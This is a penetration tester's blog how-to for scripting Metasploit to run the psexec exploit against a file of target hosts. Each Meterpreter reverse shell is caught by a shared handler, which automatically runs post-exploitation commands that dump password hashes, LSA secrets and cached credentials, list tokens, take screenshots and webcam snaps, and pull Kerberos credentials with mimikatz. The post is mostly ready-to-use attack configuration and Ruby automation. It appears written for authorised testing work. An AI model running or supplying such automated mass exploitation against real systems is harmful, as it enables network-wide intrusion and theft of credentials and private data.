Blog: How-Tos

Scripting Metasploit to exploit a group of hosts. A how-to.

Pedro Venda 04 Nov 2016

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This was a quick and dirty way of achieving what I needed at the time, cobbled together from various sources on the Internet. It worked so I thought I’d share.

Whilst doing a particularly challenging job this week I found myself in a situation where I could access workstations as admin but not servers.

Also all the accounts I had were unprivileged so the workstations needed some ‘exploring’.

I chose to split the process into three scripts and one hosts file:

  • Iteration script: <iter_rc>
  • Metasploit console preparation script: <con_cmd_file>
  • Meterpreter script: <met_cmd_file>
  • File with IP addresses of the targets: <hosts_file>

Objective

Programatically execute a Metasploit exploit against a series of hosts and run a set of Meterpreter commands for every shell obtained. This is something that CrackMapExec does very well in some cases, but would not work for what I needed;

Caveat

This is a blind run. If the exploit fails for any reason, Metasploit won’t care, you will need to go check which hosts failed.

Let’s automate Meterpreter

Automating Meterpreter is easy. Just create a file with the commands you need and run the exploit (actually handler) on the console with the option ‘set AutoRunScript multi_console_command -rc <met_cmd_file>’.

run post/windows/manage/priv_migrate
hashdump
run post/windows/gather/lsa_secrets
run post/windows/gather/cachedump
load incognito
list_tokens -u
screenshot
webcam_list
webcan_snap -v false
load mimikatz
kerberos
background

I’ve opted for using a separate handler/listener to receive connect backs rather than letting the exploit manage this. Otherwise each exploit would need to be run with a unique lport number.

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp setg autorunscript multi_console_command -rc <met_cmd_file> setg lhost <local_ip> setg lport <listening_port> set ExitOnSession false exploit -j
use exploit/windows/smb/psexec
set target 1
setg smbuser <smbuser>
setg smbpass <smbpass or hash>
setg smbdomain <domain>
set disablepayloadhandler true

All that’s left is to write a little bit of code to iterate through the various targets and to run the exploit.

<ruby>

hostsfile="<hosts_file>"
hosts=[]
File.open(hostsfile,"r") do |f|
f.each_line do |line|
hosts.push line.strip
end
end
# prepare the handler and console
self.run_single("resource <con_cmd_file>")
# iterate through each host and run the exploit
hosts.each do |rhost|
self.run_single("set rhost #{rhost}")
self.run_single("exploit -j -z") end

</ruby>

All that’s left is to fire up Metasploit and watch out for inbound profit!

msfconsole -r <iter_rc>

Got shellz?

groupmetasploit